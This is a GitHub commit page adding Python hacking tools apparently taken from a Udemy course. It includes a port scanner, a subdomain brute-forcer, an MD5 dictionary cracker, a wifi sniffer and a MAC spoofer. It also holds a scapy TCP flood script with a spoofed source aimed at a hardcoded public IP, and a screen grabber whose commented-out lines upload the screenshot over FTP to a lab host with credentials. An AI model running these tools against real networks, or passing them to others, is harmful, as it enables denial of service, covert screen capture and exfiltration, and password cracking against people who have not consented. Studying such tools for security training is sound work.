Skip to content

Commit

Permalink
python example tools from udemy
Browse files Browse the repository at this point in the history
  • Loading branch information
alfredgamulo committed Dec 31, 2020
1 parent dff2cbe commit e71d4be
Show file tree
Hide file tree
Showing 12 changed files with 2,746 additions and 0 deletions.
24 changes: 24 additions & 0 deletions tools/01_domaininfo.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import sys
import requests
import socket
import json

if len(sys.argv) < 2:
print("Usage: " + sys.argv[0] + "<url>")
sys.exit(1)

req = requests.get("https://"+sys.argv[1])
print("\n"+str(req.headers))

gethostby_ = socket.gethostbyname(sys.argv[1])
print("\nThe IP address of "+sys.argv[1]+" is: "+gethostby_ + "\n")

#ipinfo.io

req_two = requests.get("https://ipinfo.io/"+gethostby_+"/json")
resp_ = json.loads(req_two.text)

print("Location: "+resp_["loc"])
print("Region: "+resp_["region"])
print("City: "+resp_["city"])
print("Country: "+resp_["country"])
15 changes: 15 additions & 0 deletions tools/02_nmapscanner.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import nmap
import sys

target = str(sys.argv[1])
ports = [21,22,80,139,443,8080]

scan_v = nmap.PortScanner()

print("\nScanning",target,"for ports 21,22,80,139,443 and 8080...\n")

for port in ports:
portscan = scan_v.scan(target,str(port))
print("Port",port," is ",portscan['scan'][list(portscan['scan'])[0]]['tcp'][port]['state'])

print("\nHost",target," is ",portscan['scan'][list(portscan['scan'])[0]]['status']['state'])
21 changes: 21 additions & 0 deletions tools/03_screengrabber.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import wx
import os
import ftplib

w = wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmap = wx.Bitmap(size[0],size[1])
memo = wx.MemoryDC(bmap)
memo.Blit(0,0,size[0],size[1],screen,0,0)

del memo
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)

# sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin")
# file_ = open("grabbed.png", "rb")
# sess_.storbinary("STOR /tmp/grabbed.png", file_)

# file_.close()
# sess_.quit()

8 changes: 8 additions & 0 deletions tools/04_client.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
import socket

sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock_.connect((socket.gethostname(),9337))
msg = sock_.recv(1024)
sock_.close()
print(msg.decode("ascii"))

18 changes: 18 additions & 0 deletions tools/04_server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import socket

host = socket.gethostname()
port = 9337

sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock_.bind((host,port))
sock_.listen(1)

print("\nServer started...\n")

conn,addr = sock_.accept()

print("Connection established with: ",str(addr))

message = "\nThank you for connecting "+str(addr)
conn.send(message.encode("ascii"))
conn.close()
12 changes: 12 additions & 0 deletions tools/05_floodz.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
from scapy.all import *

def floodz(source,target):
for source_p in range(100,150):
IPlayer = IP(src=source,dst=target)
TCPlayer = TCP(sport=source_p,dport=600)
pkt = IPlayer/TCPlayer
send(pkt)

source = "127.0.0.1"
target = "162.241.24.197"
floodz(source,target)
17 changes: 17 additions & 0 deletions tools/06_subd.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
import requests
import sys

sub_list = open("subdomains-1000.txt").read()
subs = sub_list.splitlines()

for sub in subs:
url_to_check = f"http://{sub}.{sys.argv[1]}"

try:
requests.get(url_to_check)

except requests.ConnectionError:
pass

else:
print("Valid domain: ",url_to_check)
21 changes: 21 additions & 0 deletions tools/07_md5crack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import hashlib
import argparse

parser = argparse.ArgumentParser(description="MD5 Cracker")
parser.add_argument("-md5", dest="hash", help="md5 hash", required=True)
parser.add_argument("-w", dest="wordlist", help="wordlist", required=True)
parsed_args = parser.parse_args()

def main():
hash_cracked = ""
with open(parsed_args.wordlist) as file:
for line in file:
line = line.strip()
if hashlib.md5(bytes(line,encoding="utf-8")).hexdigest() == parsed_args.hash:
hash_cracked = line
print("\nMD5-hash has been successfully cracked. The value is %s."%line)
if hash_cracked == "":
print("\nFailed to crack the hash. Try using a bigger/different dictionary.")

if __name__ == "__main__":
main()
14 changes: 14 additions & 0 deletions tools/08_hiddenwifi.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
from scapy.all import *
import os

iface = "wlan0"

def h_packet(packet):
if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq):
print "SSID identified " + packet.info

os.system("iwconfig " + iface + "mode monitor")

print "Sniffing traffic on interface " + iface
sniff(iface=iface, prn=h_packet)

22 changes: 22 additions & 0 deletions tools/09_macspoof.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import random
import os
import subprocess

def get_rand():
return random.choice("abcdef0123456789")

def new_mac():
new_ = ""
for i in range(0,5):
new_ += get_rand() + get_rand() + ":"
new_ += get_rand() + get_rand()
return new_

print(os.system("ifconfig eth0 | grep ether | grep -oE [0-9abcdef:]{17}"))
subprocess.call(["sudo","ifconfig","eth0","down"])
new_m = new_mac()
subprocess.call(["sudo","ifconfig","eth0","hw","ether","%s"%new_m])
subprocess.call(["sudo","ifconfig","eth0","up"])
print(os.system("ifconfig eth0 | grep ether | grep -oE [0-9abcdef:]{17}"))


Loading

0 comments on commit e71d4be

Please sign in to comment.